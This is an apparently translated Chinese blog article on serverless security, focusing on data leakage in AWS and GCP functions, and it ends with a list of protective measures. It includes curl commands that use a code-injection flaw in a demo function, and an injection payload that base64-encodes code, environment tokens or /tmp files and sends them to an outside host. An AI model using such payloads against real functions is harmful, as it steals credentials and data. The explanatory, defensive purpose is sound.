深入研究攻擊Serverless環境下的應用 SLS-3: 資料洩露
好訊息, The OWASP Serverless Top 10 預覽版 已經發布。讓我們接著本系列,繼續探索Serverless應用領域的安全問題。對於Serverless來說,開發者不能自主部屬治安官(安全控制器),攻擊者也幾乎不知道該如何開展行動。
前面的文章中,我研究了事件注入和許可權繞過攻擊。 在本系列 的第三篇文章中,我將討論最令公司們擔心的漏洞之一。我們經常能聽到重大資料洩露事件,包括最近的 洩露5000萬Facebook使用者 等。雖然資料洩露一般只是使用者的隱私被侵犯,但公司要為此 付出非常高昂的代價 。在一些情況下,甚至能讓公司倒閉。一家Saas(軟體服務)公司,Code Space就是這麼一個例子,黑客入侵了它的Amazon Elastic Compute Cloud控制面板,刪除所有的EBS快照和例項,S3 儲存桶,AMI(映象)和一些核心例項,最終完全依賴AWS服務的一家公司就這麼倒閉了。
你可能會對自己說“我知道這些,但是,對於Serverless架構有什麼不同?”。你是個聰明的傢伙。
Code Space公司在2014年被攻擊,在那時下 “Serverless” 這個詞還未出現。但是,在那時候雲伺服器和資源(例如S3)可以說是完整的Serverless服務中的一部分了。如果我們在等式中加幾個函式(在數學中,這是沒有意義的),重新排列字母(比如AMI—>IAM),增加一些縮略詞比如EFS,SQS,SES等(都是AWS知名服務),風險同樣會成倍增加。如果資料沒有得到很好的保護,會面臨很大的洩露風險。
現在你可能會說“所以呢?我們有了更多的資源,但是暴露攻擊面是相同的”。你說對了一部分(給你兩個方向)。現在我們必須從不同角度去審視全域性。
第一,處理資料。保護靜態和動態的資料。加密你放在的雲儲存倉庫,備份和資料庫的資料。雲服務提供商通常會給你一些小工具,你能輕鬆正確地完成。用它們提供的 KMS/Key Vault(金鑰管理服務) 安全儲存你的資料。同時確保資源配置正確,這樣你就可以防止 大規模地資料洩露 ,甚至可以徹底避免洩露。還有,確保你的金鑰不會出現在 程式碼儲存庫 (例如Github)和其他容易被攻擊者找到的地方。
對於動態資料來說,你應該確保給所有傳輸 使用TLS協議 (傳輸層安全性協議) 。
第二,有趣的是Serverless環境下的資料。我們的雲端伺服器(例如:EC2)丟失了/etc/passwd或者/etc/shadow檔案,我們也不會很擔心。你猜怎麼著,這類檔案不再敏感了。如果攻擊者禮貌地問我,我甚至可以送給他們。
我為什麼可以這樣做?因為這類檔案屬於雲伺服器提供商,我們的應用執行在可隨時替換的環境。
問題來了,我們到底要保護什麼?答案很簡單,但是不同的雲服務提供商有不同的情況。
你的機密檔案
你可能沒有自己的伺服器,你的程式碼儲存在雲儲存庫或者程式碼儲存庫(你不用擔心他們的安全),並且你可以管理執行這個子倉庫。這個子倉庫的位置由執行環境和服務商來決定。舉個例子:
你在AWS雲上的/var/task目錄中存放了一些NodeJS程式碼,然後你又在GCP(谷歌雲平臺)的目錄(./)上存放了一堆Python程式碼。現在,你可以自己嘗試以下,用下面的curl程式碼執行cat和ls命令,展示在GCP上任何你感興趣的檔案和目錄。
curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"ls":"./"}' | base64 --decode
curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"cat":"main.py"}' | base64 --decode
你的金鑰檔案
這裡我們以 AWS 為例(不同的服務商有不同的情況),提出兩種情況:
第一種情況。你完全忽視安全問題,你的函式,記憶體配置,日誌組名稱,版本資訊等都都沒有做許可權控制。最大的問題是,函式的 tokens 也是透明的。
這些token的控制著使用者對函式的使用許可權。所以,如果這個函式有很高的系統許可權,可以遍歷資料庫或者編輯儲存桶,那麼,一旦這些tokens落到壞人手中,將導致一場災難。攻擊者甚至不用使用你的函式,只需簡單的在自己的電腦 AWS cli 命令列中使用這些token(下圖中aws profile stolen_keys包含了了那些偷來的tokens,比如AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY and AWS_SESSION_TOKEN)。
因為這些token的存在,無論你喜歡與否,你都要限制所有函式的許可權為能正常執行的最小許可權。舉個例子,如果某個函式需要讀取S3儲存桶,你應該確保它只能讀取它需要的那一些。
第二種情況。你做足了許可權控制,所有函式的使用都需要金鑰,並且金鑰作為環境變數傳遞。只有需要使用該函式時(如程式碼喚醒,系統程序喚醒),金鑰才會傳遞。如果金鑰包含了敏感資訊,你應該考慮加密(Base64)它們。如果你這樣做,系統程序需要解析(見圖一env)。但是該函式如果受程式碼注入影響,那麼攻擊者可以通過以下命令解碼直接讀取金鑰的真實值。
ENCRYPTED = os.environ['third_party_api_key']
DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext']
你的資料檔案
在Serverless環境容器中,除了 /tmp 資料夾,其他的只有只讀許可權,你可以在那裡寫入檔案。當函式完成執行後的一段時間,Serverless環境和所有檔案通常會被系統自動清除。對於AWS來說,當函式執行完成後4分內沒有再次喚醒,首先只會刪除該函式的環境。但是在這段時間內被再次喚醒,該函式的執行環境還是原先的環境。不能保證一定是這樣的,但是可以確定類似的事件一定會在特定時間段內完成。因為考慮到效能的原因,雲服務商提供商必須那麼做。
如果你的函式存在漏洞並且它所在的環境有敏感檔案,那麼它們存在被盜或者被毀壞的風險。為了深入理解,你可以用先前的兩個curl命令自己操作一下。你可以自己可以寫入資料(base64編碼)到/tmp/b64資料夾。
當執行”ls”命令時,你可以看到/out/b64檔案大小為252位元組。然而,當執行完“cat”,再次使用”ls”,你會發現它的大小標為1496位元組。這意味著這時”ls”命令顯示的是”cat”命令的呼叫的輸出結果。這時你再次執行”ls”,大小又變回252位元組。
那麼,我們該擔心些什麼?只要功能函式存在任何程式碼執行漏洞,或者程序注入漏洞和api濫用(eg.eval),攻擊者都可以利用上面的方法洩露或者更改環境中的敏感資料。舉個例子,這裡存在一個json型別的程式碼注入漏洞的功能函式,攻擊者可以輕鬆利用:
--data '{"ls":"/tmp; code=`$secret | base64 --wrap=0`; curl https://serverless.fail/leak?data=$code"}
$secret可以是“cat main.py”用來獲取程式碼檔案,或者是“env”該環境的盜取token和金鑰,還可以是“cat /tmp/leftover.file”盜取未受保護的/tmp資料夾中遺留的敏感檔案。
有趣的是還可以base64編碼然後傳送到攻擊者自己的伺服器中(例子中是serverless.fail)。現在只要解碼它,第二天,新聞頭條將會出現你的“英雄事蹟”。
如何保護
那麼我們該如何防止那些發生?我總結了以下幾點:
- 儘量壓縮儲存的資料
- 保護靜態,動態的資料。使用雲服務商提供的加密管理服務來儲存資料,機密檔案,環境變數(比如 AWS Environment variable encryption , Handling Azure secrets , Storing secrets in GCP )
- 避免在程式碼儲存庫或者其他地方洩露金鑰(例如github上)
- 嚴格限制函式的許可權以減少攻擊面
- 執行程式碼審查和靜態分析以減少程式碼存在漏洞
- 監控依賴關係,避免已知的漏洞出現在你的程式碼中
- 使用完/tmp上的檔案後,刪除它們
攻擊演示視訊
如果你想觀看演示視訊, 這裡有